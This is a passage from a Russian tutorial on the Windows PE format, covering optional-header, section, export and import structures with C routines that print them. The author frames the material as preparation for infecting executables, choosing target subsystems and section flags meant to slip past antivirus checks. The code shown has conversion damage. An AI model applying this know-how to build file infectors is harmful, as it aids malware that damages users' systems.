        adc     eax, dword ptr [esi+04h]
        adc     eax, dword ptr [esi+08h]
        adc     eax, dword ptr [esi+0Ch]
        adc     eax, dword ptr [esi+10h]
        adc     eax, dword ptr [esi+14h]
        adc     eax, dword ptr [esi+18h]
        adc     eax, dword ptr [esi+1Ch]
        adc     eax, 00000000h
        add     esi, 00000020h
        sub     ecx, 00000020h
        je      func0_saltito2

func0_saltito5:
        test    ecx, 00000040h
        je      func0_saltito6
        add     eax, dword ptr [esi]

        adc     eax, dword ptr [esi+04h]
        adc     eax, dword ptr [esi+08h]
        adc     eax, dword ptr [esi+0Ch]
        adc     eax, dword ptr [esi+10h]
        adc     eax, dword ptr [esi+14h]
        adc     eax, dword ptr [esi+18h]
        adc     eax, dword ptr [esi+1Ch]
        adc     eax, dword ptr [esi+20h]
        adc     eax, dword ptr [esi+24h]
        adc     eax, dword ptr [esi+28h]
        adc     eax, dword ptr [esi+2Ch]
        adc     eax, dword ptr [esi+30h]
        adc     eax, dword ptr [esi+34h]
        adc     eax, dword ptr [esi+38h]
        adc     eax, dword ptr [esi+3Ch]
        adc     eax, 00000000h
        add     esi, 00000040h
        sub     ecx, 00000040h
        je      func0_saltito2

func0_saltito6:
        add     eax, dword ptr [esi]

        adc     eax, dword ptr [esi+04h]
        adc     eax, dword ptr [esi+08h]
        adc     eax, dword ptr [esi+0Ch]
        adc     eax, dword ptr [esi+10h]
        adc     eax, dword ptr [esi+14h]
        adc     eax, dword ptr [esi+18h]
        adc     eax, dword ptr [esi+1Ch]
        adc     eax, dword ptr [esi+20h]
        adc     eax, dword ptr [esi+24h]
        adc     eax, dword ptr [esi+28h]
        adc     eax, dword ptr [esi+2Ch]
        adc     eax, dword ptr [esi+30h]
        adc     eax, dword ptr [esi+34h]
        adc     eax, dword ptr [esi+38h]
        adc     eax, dword ptr [esi+3Ch]
        adc     eax, dword ptr [esi+40h]
        adc     eax, dword ptr [esi+44h]
        adc     eax, dword ptr [esi+48h]
        adc     eax, dword ptr [esi+4Ch]
        adc     eax, dword ptr [esi+50h]
        adc     eax, dword ptr [esi+54h]
        adc     eax, dword ptr [esi+58h]
        adc     eax, dword ptr [esi+5Ch]
        adc     eax, dword ptr [esi+60h]
        adc     eax, dword ptr [esi+64h]
        adc     eax, dword ptr [esi+68h]
        adc     eax, dword ptr [esi+6Ch]
        adc     eax, dword ptr [esi+70h]
        adc     eax, dword ptr [esi+74h]
        adc     eax, dword ptr [esi+78h]
        adc     eax, dword ptr [esi+7Ch]
        adc     eax, 00000000h
        add     esi, 00000080h
        sub     ecx, 00000080h
        jne     func0_saltito6

func0_saltito2:
        test    edx, edx
        je      func0_saltito0

func0_saltito7:
        sub     ecx, ecx
        mov     cx, word ptr [esi]
        add     eax, ecx
        adc     eax, 00000000h
        add     esi, 00000002h
        sub     edx, 00000002h
        jne     func0_saltito7

func0_saltito0:
        mov     edx, eax
        shr     edx, 10h
        and     eax, 0000FFFFh
        add     eax, edx
        mov     edx, eax
        shr     edx, 10h
        add     eax, edx
        and     eax, 0000FFFFh
        pop     esi
        ret     000Ch
end start

WORD    Subsystem;

Подсистема, для пользовательского интерфейса, данного приложения. Определены следующие значения:

#define IMAGE_SUBSYSTEM_UNKNOWN              0   // неизвестная подсистема
#define IMAGE_SUBSYSTEM_NATIVE               1   // приложению не требуется подсистема
#define IMAGE_SUBSYSTEM_WINDOWS_GUI          2   // запускается в подсистеме Windows GUI
#define IMAGE_SUBSYSTEM_WINDOWS_CUI          3   // запускается в подсистеме Windows character
#define IMAGE_SUBSYSTEM_OS2_CUI              5   // запускается в подсистеме OS/2 character
#define IMAGE_SUBSYSTEM_POSIX_CUI            7  // запускается в подсистеме Posix character
#define IMAGE_SUBSYSTEM_NATIVE_WINDOWS       8   // приложение - драйвер Windows 9x
#define IMAGE_SUBSYSTEM_WINDOWS_CE_GUI       9   // запускается в подсистеме Windows CE

Подсистема может быть только одна. Если подсистема CUI, то Windowsсоздает консольное окно при старте программы. Когда мы будет заражать файлы, то будем выбирать только с подсистемами IMAGE_SUBSYSTEM_WINDOWS_GUI и IMAGE_SUBSYSTEM_WINDOWS_CUI

WORD    DllCharacteristics;

Поле никогда не используется. Может быть любым.

DWORD   SizeOfStackReserve;

Объем виртуальной памяти, резервируемой под начальный стек потока. Выделяется число байт указанное в следующем поле.

DWORD   SizeOfStackCommit;

Объем виртуальной памяти, выделяемой под начальный стек потока.

DWORD   SizeOfHeapReserve;

Объем виртуальной памяти, резервируемой под начальный хип программы.

DWORD   SizeOfHeapCommit;

Объем виртуальной памяти, выделяемой под начальный хип программы.

DWORD   LoaderFlags;

Не используемое поле. Может быть любым.

DWORD   NumberOfRvaAndSizes;

Количество элементов в массиве DataDirectory. Во всем относительно новых линкерах устанавливается в 10H. ДажеконстантаIMAGE_NUMBEROF_DIRECTORY_ENTRIES вWINNT.H определенакак 10H. Так что размер опционального заголовка, скорее всего, будет E0Hбайт.

IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];

Массив структур типа IMAGE_DATA_DIRECTORY. Это структура определена следующим образом:

typedef struct _IMAGE_DATA_DIRECTORY {
    DWORD   VirtualAddress; //RVA директории
    DWORD   Size;//Размер директории
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;

Вообще каждый элемент массива указывает на какую-либо структуру, например на таблицу импорта. Т.е. каждый элемент это информация о директории, каждая из которых несет собой определенную смысловую нагрузку. Определенный индекс в массиве соответствует определенной директории. Директория может быть секцией, а может и не быть секцией, т.е. быть ее частью. Если нам надо найти, например таблицу экспорта, то обращаемся к элементу 0 этого массива. Вот полный перечень всех индексов:

#define IMAGE_DIRECTORY_ENTRY_EXPORT          0   // Директория экспорта
#define IMAGE_DIRECTORY_ENTRY_IMPORT          1   // Директория импорта
#define IMAGE_DIRECTORY_ENTRY_RESOURCE        2   // Директория ресурсов
#define IMAGE_DIRECTORY_ENTRY_EXCEPTION       3   // Директория исключений
#define IMAGE_DIRECTORY_ENTRY_SECURITY        4   // Директория безопасности
#define IMAGE_DIRECTORY_ENTRY_BASERELOC       5   //Таблица базовых поправок
#define IMAGE_DIRECTORY_ENTRY_DEBUG           6   // Отладочная директория
#define IMAGE_DIRECTORY_ENTRY_ARCHITECTURE    7   //Данные специфичные для архитектуры
#define IMAGE_DIRECTORY_ENTRY_GLOBALPTR       8   // RVA глобальных указателей
#define IMAGE_DIRECTORY_ENTRY_TLS             9   // TLS директория
#define IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG    10   // Директория конфигурации при загрузке
#define IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT   11   // Директория Bound-импорта
#define IMAGE_DIRECTORY_ENTRY_IAT            12   // Таблица импортированных адресов (IAT)
#define IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT   13   //Дескриптор delay-импорта
#define IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 14   // COM Runtime дескриптор

Структура IMAGE_DATA_DIRECTORY содержит в себе RVAдиректории. Если файл спроецирован не как SEC_IMAGE, то сразу найти смещение в файле данной директории не удастся. Для этой операции используйте функцию RVAtoOffset листинг которой приведен выше.

void printHeaders(long hMap)
{
PIMAGE_NT_HEADERS pPE=(PIMAGE_NT_HEADERS)NTSIGNATURE((long)hMap);
printf("#####File Header#####\n");
printf("Machine:%X\nNumber of Sections:%X\nTimeDateStamp:%X\nPointer to 
        Symbol Table:%X\nNumber Of Symbols:%X\nSize Of Optional Header:
		%X\nCharacteristics:%X\n",pPE-»FileHeader.Machine,
		pPE-»FileHeader.NumberOfSections,pPE-»FileHeader.TimeDateStamp,
		pPE-»FileHeader.PointerToSymbolTable,pPE-»FileHeader.NumberOfSymbols,
		pPE-»FileHeader.SizeOfOptionalHeader);
printf("#####Optional Header#####\n");
printf("Magic:%X\nMajorLinkerVersion:%X\nMinorLinkerVersion:%X\nSizeOfCode:
        %X\nSizeOfInitializedData:%X\nSizeOfUninitializedData:
		%X\nAddressOfEntryPoint:%X\nBaseOfCode:%X\nBaseOfData:%X\nImageBase:
		%X\nSectionAlignment:%X\nFileAlignment:%X\nMajorOperatingSystemVersion:
		%X\nMinorOperatingSystemVersion:%X\nMajorImageVersion:%X\nMinorImageVersion:
		%X\nMajorSubsystemVersion:%X\nMinorSubsystemVersion:%X\nWin32VersionValue:
		%X\nSizeOfImage:%X\nSizeOfHeaders:%X\nCheckSum:%X\nSubsystem:
		%X\nDllCharacteristics:%X\nSizeOfStackReserve:%X\nSizeOfStackCommit:
		%X\nSizeOfHeapReserve:%X\nSizeOfHeapCommit:%X\nLoaderFlags:
		%X\nNumberOfRvaAndSizes:%X\n",
	pPE-»OptionalHeader.Magic,pPE-»OptionalHeader.MajorLinkerVersion,
	pPE-»OptionalHeader.MinorLinkerVersion,pPE-»OptionalHeader.SizeOfCode,
	pPE-»OptionalHeader.SizeOfInitializedData,
	pPE-»OptionalHeader.SizeOfUninitializedData,
	pPE-»OptionalHeader.AddressOfEntryPoint,pPE-»OptionalHeader.BaseOfCode,
	pPE-»OptionalHeader.BaseOfData,pPE-»OptionalHeader.ImageBase,
	pPE-»OptionalHeader.SectionAlignment,pPE-»OptionalHeader.FileAlignment,
	pPE-»OptionalHeader.MajorOperatingSystemVersion,
	pPE-»OptionalHeader.MinorOperatingSystemVersion,
	pPE-»OptionalHeader.MajorImageVersion,pPE-»OptionalHeader.MinorImageVersion,
	pPE-»OptionalHeader.MajorSubsystemVersion,
	pPE-»OptionalHeader.MinorSubsystemVersion,
	pPE-»OptionalHeader.Win32VersionValue,pPE-»OptionalHeader.SizeOfImage,
	pPE-»OptionalHeader.SizeOfHeaders,pPE-»OptionalHeader.CheckSum,
	pPE-»OptionalHeader.Subsystem,pPE-»OptionalHeader.DllCharacteristics,
	pPE-»OptionalHeader.SizeOfStackReserve,pPE-»OptionalHeader.SizeOfStackCommit,
	pPE-»OptionalHeader.SizeOfHeapReserve,pPE-»OptionalHeader.SizeOfHeapCommit,
	pPE-»OptionalHeader.LoaderFlags,pPE-»OptionalHeader.NumberOfRvaAndSizes);
}

Работа с таблицей директорий

void printDataDirectory(long hMap)
{	
PIMAGE_NT_HEADERS pPE=static_cast«struct _IMAGE_NT_HEADERS *»NTSIGNATURE((long)hMap);
	PIMAGE_DATA_DIRECTORY DataDirectory=(PIMAGE_DATA_DIRECTORY)&(pPE-»OptionalHeader.DataDirectory);
	for (int i=0;i«pPE-»OptionalHeader.NumberOfRvaAndSizes;i++)
	{
		 switch (i)
		 {
		   case IMAGE_DIRECTORY_ENTRY_EXPORT:printf("---Export Directory---\nRVA: 
		        %X\nSize: %X\n",DataDirectory[i].VirtualAddress,
				DataDirectory[i].Size);break;
		   case IMAGE_DIRECTORY_ENTRY_IMPORT:printf("---Import Directory---\nRVA: 
		        %X\nSize: %X\n",DataDirectory[i].VirtualAddress,
				DataDirectory[i].Size);break;
		   case IMAGE_DIRECTORY_ENTRY_RESOURCE:
		        printf("---Resource Directory---\nRVA: %X\nSize: %X\n",
				DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;
		   case IMAGE_DIRECTORY_ENTRY_EXCEPTION:
		        printf("---Exception Directory---\nRVA: %X\nSize: %X\n",
				DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;
		   case IMAGE_DIRECTORY_ENTRY_SECURITY:
		        printf("---Security Directory---\nRVA: %X\nSize: %X\n",
				DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;
		   case IMAGE_DIRECTORY_ENTRY_BASERELOC:
		        printf("---Basereloc Directory---\nRVA: %X\nSize: %X\n",
				DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;
		   case IMAGE_DIRECTORY_ENTRY_DEBUG:
		        printf("---Debug Directory---\nRVA: %X\nSize: %X\n",
				DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;
		   case IMAGE_DIRECTORY_ENTRY_ARCHITECTURE:
		        printf("---Architecture Directory---\nRVA: %X\nSize: %X\n",
				DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;
		   case IMAGE_DIRECTORY_ENTRY_GLOBALPTR:
		        printf("---GlobalPTR Directory---\nRVA: %X\nSize: %X\n",
				DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;
		   case IMAGE_DIRECTORY_ENTRY_TLS:
		        printf("---TLS Directory---\nRVA: %X\n%Size: %X\n",
				DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;
		   case IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG:
		        printf("---LOADCONFIG Directory---\nRVA: %X\nSize: %X\n",
				DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;
		   case IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT:
		        printf("---Bound-Import Directory---\nRVA: %X\nSize: %X\n",
				DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;
		   case IMAGE_DIRECTORY_ENTRY_IAT:
		        printf("---IAT Directory---\nRVA: %X\nSize: %X\n",
				DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;
		   case IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT:
		        printf("---Delay-Import Directory---\nRVA: %X\nSize: %X\n",
				DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;
		   case IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR:
		        printf("---Com Descriptor Directory---\nRVA: %X\nSize: %X\n",
				DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;
		 }
	}
}

Таблица секций

Таблица секций – это база данных, для всех секций используемых в PE-файле. Сразу после окончания опционального заголовка следует таблица секций. В PE-файле теоретически может быть сколько угодно секций. Все они могут иметь одинаковые атрибуты и даже одинаковые имена(!), кроме секции ресурсов :). Но обычно секции делят либо по их логическому предназначению, либо по атрибутам. Имена секций вообще никого не волнуют и нигде не проверяются (почти). Загрузчик ориентируется на массив DataDirectory в опциональном заголовке, для того чтобы найти нужные данные. Это сделано в целях оптимизации, чтобы не сравнивать строки,  а просто перейти сразу же к нужной директории с помощью соответствующих индексов. Но некоторые особо «талантливые» программисты все равно используют имя секции, так что будьте с этим аккуратнее. В приложениях WindowsNTмогут использоваться много стандартных секций — .text(.CODE) – код программы, .bss– для неинициализированных данных, .rdata– данные только для чтения, .data – глобальные переменные, .rsrc– ресурсы, .edata – экспорт, .idata– импорт, .debug– отладочная информация и т.д. Такие секции создают линкеры, опираясь на спецификацию Microsoft. Таблица секций это массив элементов типа IMAGE_SECTION_HEADER. Этот тип определен следующим образом:

typedef struct _IMAGE_SECTION_HEADER {
    BYTE    Name[8];
    union {
            DWORD   PhysicalAddress;
            DWORD   VirtualSize;
    } Misc;

    DWORD   VirtualAddress;
    DWORD   SizeOfRawData;
    DWORD   PointerToRawData;
    DWORD   PointerToRelocations;
    DWORD   PointerToLinenumbers;
    WORD    NumberOfRelocations;
    WORD    NumberOfLinenumbers;
    DWORD   Characteristics;
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

Опишем по порядку эти поля:

BYTE    Name[8];

Название секции.

union {
            DWORD   PhysicalAddress;
            DWORD   VirtualSize;
    } Misc;

Для EXE-файлов содержит виртуальный размер секции. Т.е. это размер, выровненный на SectionAlignment. Если это значение равно нулю, то загрузчик использует значение SizeOfRawDataвыровненное на SectionAlignment. Если это значение не выровнено, т.к. загрузчик может выровнять его сам в случае необходимости. Если это значение больше SizeOfRawData, то в памяти секция выравнивается нулями. Если это значение меньше SizeOfRawData, то…здесь начинаются расхождения реализации загрузчиков, так что на это лучше не полагаться. Для объектных файлов это поле указывает физический адрес секции.

DWORD   VirtualAddress;

Это поле содержит адрес, куда загрузчик должен отобразить секцию. Это поле является RVA.

DWORD   SizeOfRawData;

Это поле содержит размер секции, выровненный на ближайшую верхнюю границу размера файла.

DWORD   PointerToRawData;

Это значение, есть файловое смещение, откуда брать исходные данные для секции при отображении.

DWORD   PointerToRelocations;

Не используется в исполняемых файлах. Может быть любым.

DWORD   PointerToLinenumbers;

Файловое смещение таблицы номеров строк. В данный момент не используется в исполняемых файлах. Может любое значение.

WORD    NumberOfRelocations;

Количество перемещений в таблице базовых поправок для данной секции. Т.к. значение указателя на таблицу базовых поправок храниться в массиве DataDirectory, то это поле тоже может быть любым.

WORD    NumberOfLinenumbers;

Количество номеров строк для данной секции. Т.к. поле PointerToLinenumbersне используется, то может принимать любые значения.

DWORD   Characteristics;

Это поле содержит атрибуты секции. Атрибуты секции указывают на права доступа к ней, а также на некоторые особенности влияния на нее загрузчика. Флаги секций могут преобразовываться загрузчиком в атрибуты страниц и сегментов. Это поле всегда не равно нулю. Ниже приведен полный список флагов, которые нужны, остальные используются только в объектных файлах, либо вообще не используются.

// Секция содержит код
#define IMAGE_SCN_CNT_CODE      0x00000020  
//Секция содержит инициализированные данные
#define IMAGE_SCN_CNT_INITIALIZED_DATA  0x00000040
// Секция содержит неинициализированные данные.
#define IMAGE_SCN_CNT_UNINITIALIZED_DATA     0x00000080  
// Эта секция отбрасывается когда программа уже загружена. 
// Важно, при внедрении отбросить этот флаг если он установлен для данной секции.
#define IMAGE_SCN_MEM_DISCARDABLE            0x02000000  
// Секция является общедоступной или разделяемой. 
#define IMAGE_SCN_MEM_SHARED                 0x10000000  
//Секция является исполняемой.
#define IMAGE_SCN_MEM_EXECUTE                0x20000000  
// Данные секции можно читать.
#define IMAGE_SCN_MEM_READ                   0x40000000
// В секцию можно записывать данные.  
#define IMAGE_SCN_MEM_WRITE                  0x80000000

ФлагиIMAGE_SCN_MEM_EXECUTE иIMAGE_SCN_MEM_READ эквивалентны. Флаги могут быть использованы одновременно, если применять к ним побитовою операцию «или». Например, нам нужно чтобы в секцию можно было записывать, читать из нее, а также для пущей надежности указывает, что секция содержит код. Т.о. итоговой значение поля Characteristicsбудет выглядить следующим образом:

80000000H
+
40000000H
+
00000020H
=
A0000020H

Это значение мы будем использовать при внедрении в последнюю секцию, чтобы использовать переменные внутри нее и выполнять код. Мы указываем, что секция содержит код, т.к. антивирус может обращать на это внимание, если точка входа установлена на данную секцию.

Работа с таблицей секций

Данная процедура проходит по таблице секций и выводит ее на экран. На вход процедуре передается адрес по которому спроецирован PE-файл.

void printSectionHeader(long hMap)
{
	PIMAGE_NT_HEADERS pPE=static_cast«
	                  struct _IMAGE_NT_HEADERS *»
	NTSIGNATURE((long)hMap);
	PIMAGE_SECTION_HEADER Section=(PIMAGE_SECTION_HEADER)
	       (pPE-»FileHeader.SizeOfOptionalHeader+(long)
		   &(pPE-»OptionalHeader) );
	for (int i=0;i«pPE-»FileHeader.NumberOfSections;i++)
	{

		printf("----------Section: %.8s----------\nVirtual Address: 
		       %X\nVirtual Size: %X\nSizeOfRawData: %X\n PointerToRawData: 
			   %X\nCharacteristics: %X\n",&(Section-»Name),
			   Section-»VirtualAddress,Section-»Misc.VirtualSize,
			   Section-»SizeOfRawData,Section-»PointerToRawData,
			   Section-»Characteristics);
		Section++;
	}
}

Вот вроде разобрались со всеми заголовками, теперь нужно рассмотреть важные директории. Они понадобятся в нашем деле.

Таблица Экспорта

Экспорт – механизм PE-файлов, предоставляющий доступ к переменным или функциям из другого исполняемого модуля. Обычно EXE-файлы ничего не экспортируют. А DLLобычно экспортируют функции. Таблица секций может быть отдельной секцией, которая называется .edata. Но обычно таблицу секций ищут исходя из каталога данных. Она имеет индекс 0 в массиве DataDirectory. В таблице экспорта содержится массив, в котором находятся адреса функций. Ординал – это индекс в этом массиве адресов функций. Функции могут экcпортироваться либо по имени, либо по ординалу. Если функция экспортируется по ординалу, то загрузчик почти ничего не делает, а просто обращается сразу к таблице адресов функций. Но обычно функции экспортируются по именам. Чтобы экспортировать функции по именам, необходимо произвести некоторые действия. Какие, узнаете чуть ниже.

В начале таблицы экспорта расположена структура IMAGE_EXPORT_DIRECTORY. После этой структуры должны идти данные, на которые указывают элементы этой структуры. Но практически данные могут быть расположены где угодно. Вот вид структуры IMAGE_EXPORT_DIRECTORY:

typedef struct _IMAGE_EXPORT_DIRECTORY {
    DWORD   Characteristics;
    DWORD   TimeDateStamp;
    WORD    MajorVersion;
    WORD    MinorVersion;
    DWORD   Name;
    DWORD   Base;
    DWORD   NumberOfFunctions;
    DWORD   NumberOfNames;
    DWORD   AddressOfFunctions;     // RVA from base of image
    DWORD   AddressOfNames;         // RVA from base of image
    DWORD   AddressOfNameOrdinals;  // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

DWORD Characteristics;

Это поле не используется. Может быть любым.

DWORD   TimeDateStamp;

Это поле содержит дату создания файла. Может быть любым.

WORD    MajorVersion; WORD    MinorVersion;

Поля не используются. Могут быть любыми.

DWORD   Name;

Это RVAASCIIZ-строки содержащей имя данного исполняемого модуля.

DWORD   Base;

Начальный номер экспорта, т.е. самый младший номер экспортируемой функции. Например, если номера экспортируемых функций 56B,57B,58B и больше экспортируемых функций нет, то это значение будет 56B.

DWORD  NumberOfFunctions;

Количество элементов в массиве AddressOfFunctions(об этом массиве позже). Это число экспортируемых данным модулем функций или переменных. Может быть равно, а может быть и не равно значению NumberOfNames, потому что функция может быть экспортирована только по ординалу.

DWORD   NumberOfNames;

Количество элементов в масcиве AddressOfNames. Также это число функций экспортируемых по именам.

DWORD   AddressOfFunctions;

RVA массиваадресовфункций. Адреса функций – это RVAточек входа каждой функции. Т.к. RVAв PE32 32-х разрядные, то это массив DWORD’ов.

DWORD   AddressOfNames;

Это поле является RVAи указывает на массив указателей на строки. Строки – ASCIIZ-строки, и являются именами экспортируемых функций по имени в данном модуле.

DWORD   AddressOfNameOrdinals; 

RVA массиваслов. Слова являются ординалами, т.е. индексами в массиве адресов функций. Но эти индексы являются относительными, т.к. из соответствующего индекса надо вычесть начальный номер экспорта.

Как происходит экспорт

Самое важное поле в таблице экспорта – это AddressOfFunctions, потому что оно и содержит адреса экспортируемых функций. Можно по разному экспортировать функции – по имени или по ординалу. Чтобы экспортировать функцию по ординалу достаточно использовать ординал, как индекс в массиве адресов функций, но, не забывая, о начальном номере экспорта. Чтобы экспортировать функцию по имени надо использовать информацию из двух дополнительных массивов, точнее указателей на них – AddressOfNameOrdinals и AddressOfNames. Массив AddressOfNamesсодержит RVAстрок с именами функций. Нам дано имя функции, надо найти это имя в данном массиве. Если мы нашли имя, то получаем индекс в массиве имен, которому соответствует данная строка. Используя этот индекс применительно к массиву AddressOfNameOrdinals, находим индекс в массиве AddressOfFunctios, но без учета начального номера экспорта или начального ординала. Полученное значение нормализуем и получаем нужный ординал, который и используем для получения адреса функции по данному имени. Посмотрите рисунок ниже, чтобы понять это объяснение:

 

Не забывайте, что имена функций могут быть представлены в двух версиях —  ANSIи UNICODE, если функция каким-либо образом обрабатывает строки. И имя функции различаться в зависимости от версии функции.  Для ANSIверсии в конце имени функции используется буква A, для UNICODE– W.

В таблице адресов функций могут быть разрывы, т.е. элементы, которые указывают в никуда. Т.е. если библиотека экспортирует функции с ординалами 5,8 и все, а начальный номер экспорта 5, то в массиве адресов функций будет 4 элемента. Первый нормальный, т.е. указывающий на функцию, два следующих пустые, 4-ый нормальный. Эти разрывы надо учитывать при разборе, а не обрабатывать все подряд.

Передача экспорта

Иногда в одной DLLсодержится только имя функции, а сам код содержится в другой DLL, но экспортируем мы функцию из первой DLL. Этот механизм называется передача экспорта. Например, возьмем библиотеку KERNEL32.DLL. Возьмем из нее функцию HeapAlloc, она в действительности вызывает функцию RtlAllocateHeapиз NTDLL.DLL.

Чтобы узнать, является ли функция переданной, нужно проверить не указывает ли адрес функции на таблицу экспорта данного файла (в данном случае KERNEL32.LL). Тогда этот «адрес функции» является RVA-строки вида имя_библиотеки.имя_функции (например NTDLL.RtlAllocateHeap). Для проверки является ли данная функция переданной, нужен адрес таблицы экспорта и ее размер. В примере ниже показано как определить что функция является переданной.

Работа с таблицей экспорта

Работая с таблицей экспорта будьте внимательны. Не забывайте, что можно экспортировать функцию как по имени и ординалу, как просто по ординалу. Не забывайте о переданных функциях. Существуют две важные операции при работе с таблицей экспорта:

a) Поиск адреса функции по имени. Алгоритм выглядит так:

  • 1) Найти индекс в массиве имен AddressOfNames, соответствующий нужному имени.
  • 2) Использовать этот индекс как индекс в массиве AddressOfNameOrdinalsи получить значение в массиве.
  • 3) Вычесть из полученного значения OrdinalBase.
  • 4) Использовать полученный индекс, чтобы получить RVAфункции в массиве AddressOfFuncions

Посмотрите на пример работы с директорией экспорта. Процедура выводит на экран таблицу экспорта. Параметром ей передается адрес спроецированного в память файла.

б) Поиск имени по ординалу

  • 1) Взять ординал и сложить его с OrdinalBase.
  • 2) Найти полученное значение в массиве AddressOfNameOrdinals.
  • 3) Если значение найдено, то используем индекс в массиве AddressOfNames, чтобы получить имя. Если значение не найдено, значит, функция экспортируется только по ординалу.

void PrintExportTable(long hMap)
{
	PIMAGE_NT_HEADERS pPE=(PIMAGE_NT_HEADERS)NTSIGNATURE(hMap);
	short NumberOfSection=pPE-»FileHeader.NumberOfSections;
	DWORD ExportRVA=pPE-»OptionalHeader.DataDirectory[0].VirtualAddress;

	PIMAGE_EXPORT_DIRECTORY Export=(PIMAGE_EXPORT_DIRECTORY)
	                      RVAtoOffset((long)hMap,ExportRVA);
	Export=(PIMAGE_EXPORT_DIRECTORY)((long)Export+(long)hMap);

	WORD* AddressOfNameOrdinals=(unsigned short *)
	      RVAtoOffset((long)hMap,Export-»AddressOfNameOrdinals);
	AddressOfNameOrdinals=(WORD*)((long)AddressOfNameOrdinals+(long)hMap);

	DWORD* AddressOfNames=(unsigned long *)
	       RVAtoOffset((long)hMap,Export-»AddressOfNames);
	AddressOfNames=(DWORD*)((long)AddressOfNames+(long)hMap);

	DWORD* AddressOfFunctions=(unsigned long *)
	       RVAtoOffset((long)hMap,Export-»AddressOfFunctions);
	AddressOfFunctions=(DWORD*)((long)AddressOfFunctions+(long)hMap);

	WORD index;
	printf("%4s      %-40s       %s\n-------------------------------------".
	       "----------------------------------\n","Ordinal","NameOfFunctions",
		   "EntryPoint");
	for (unsigned int i=0;i«Export-»NumberOfFunctions-1;i++)
	{
		index=0xFFFF;
		for (unsigned int j=0;j«Export-»NumberOfNames;j++)
		{
			if (AddressOfNameOrdinals[j]==(i+Export-»Base))
			{
				index=j;continue;
			}
		}
		if ((AddressOfFunctions[i]»=
		     pPE-»OptionalHeader.DataDirectory[0].VirtualAddress)&&
			 (AddressOfFunctions[i]«=
			 pPE-»OptionalHeader.DataDirectory[0].VirtualAddress+pPE -» 
			 OptionalHeader.DataDirectory[0].Size))
		{
			if (index!=0xFFFF) printf("%4d         |%-35s       |Forw-»%s\n",
			   i+Export-»Base,(long)hMap+RVAtoOffset((long)hMap,
			   AddressOfNames[index]),(long)hMap+RVAtoOffset((long)hMap,
			   AddressOfFunctions[i]));
			else printf("%4d         |OrdinalOnly       |Forw-»%s\n",
			   i+Export-»Base,(long)hMap+RVAtoOffset((long)hMap,
			   AddressOfNames[index]),(long)hMap+RVAtoOffset((long)hMap,
			   AddressOfFunctions[i]));
		}
		if (index!=0xFFFF) printf("%4d         |%-35s       |%X\n",
		    i+Export-»Base,(long)hMap+RVAtoOffset((long)hMap,
			AddressOfNames[index]),AddressOfFunctions[i]);
		else printf("%4d         |OrdinalOnly       |%X\n",
		     i+Export-»Base,AddressOfFunctions[i]);
	}
}

Таблица импорта

Импорт в PE-файлах – это механизм позволяющий использовать функции или переменные из модулей отличных от данного. Если наша программа вызывает функцию GetMessage, которая находиться в библиотеке KERNEL32.DLL, то вместо инструкции CALL используется инструкция JMPDWORDPTR [XXXXXXXX]. Адрес указанный как XXXXXXXXнаходиться где-то в таблице импорта. Посмотрите на рисунок, и Вы все поймете:

Это очень удачное решение – хранить адрес функции в одном месте. Если DLLзагрузиться по определенному адресу, то загрузчику необходимо изменить только адрес функции в таблице импорта, а не каждый вызов данной функции.

Директория импорта и таблица импорта есть понятия эквивалентные, так что имейте это ввиду при  чтении других авторов.

Импорт PE-файлов может происходить четырьмя различными способами. Повеселимся над этими механизмами и терминами, используемыми при импорте функций PE-файла. Импорт файлов — это первая вещь, которая действительно интересна.

Структуры и термины импорта

Когда загружается исполняемый файл, то загрузчик использует таблицу импорта, чтобы узнать какие функции импортирует данный модуль. Потом загрузчик загружает библиотеки содержащие данные функции, если они не загружены, с помощью функции LoadLibrary. LoadLibraryвозвращает адрес библиотеки в адресном пространстве текущего процесса. Чтобы получить адрес функции надо использовать функцию GetProcAddress. Ей передается имя функции и базовый адрес библиотеки. Т.о. в таблицу импорта добавляются адреса нужных функций при загрузке, а потом используются после загрузки. В некоторых библиотеках адреса функций уже имеются, это сделано в целях оптимизации, но об этом немного позже (в разделе «Биндинг»).

Таблица импорта начинается с массива элементов типа IMAGE_IMPORT_DESCRIPTOR. Количество элементов массива нигде не указывается, но вместо этого первый элемент последнего члена массива —  нулевой. Каждый элемент соответствует DLL,из которой импортируют функции. Каждый элемент выглядит следующим образом:

typedef struct _IMAGE_IMPORT_DESCRIPTOR {
    union {
        DWORD   Characteristics;            // 0 for terminating null import descriptor
        DWORD   OriginalFirstThunk;         // RVA to original unbound IAT (PIMAGE_THUNK_DATA)
    };
    DWORD   TimeDateStamp;                  // 0 if not bound,
                                            // -1 if bound, and real date\time stamp
                                            //   in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)
                                            // O.W. date/time stamp of DLL bound to (Old BIND)

    DWORD   ForwarderChain;                 // -1 if no forwarders
    DWORD   Name;
    DWORD   FirstThunk;                     // RVA to IAT (if bound this IAT has actual addresses)
} IMAGE_IMPORT_DESCRIPTOR;
typedef IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR;

Опишем поля этой структуры по порядку.

    union {
        DWORD   Characteristics;            // 0 for terminating null import descriptor
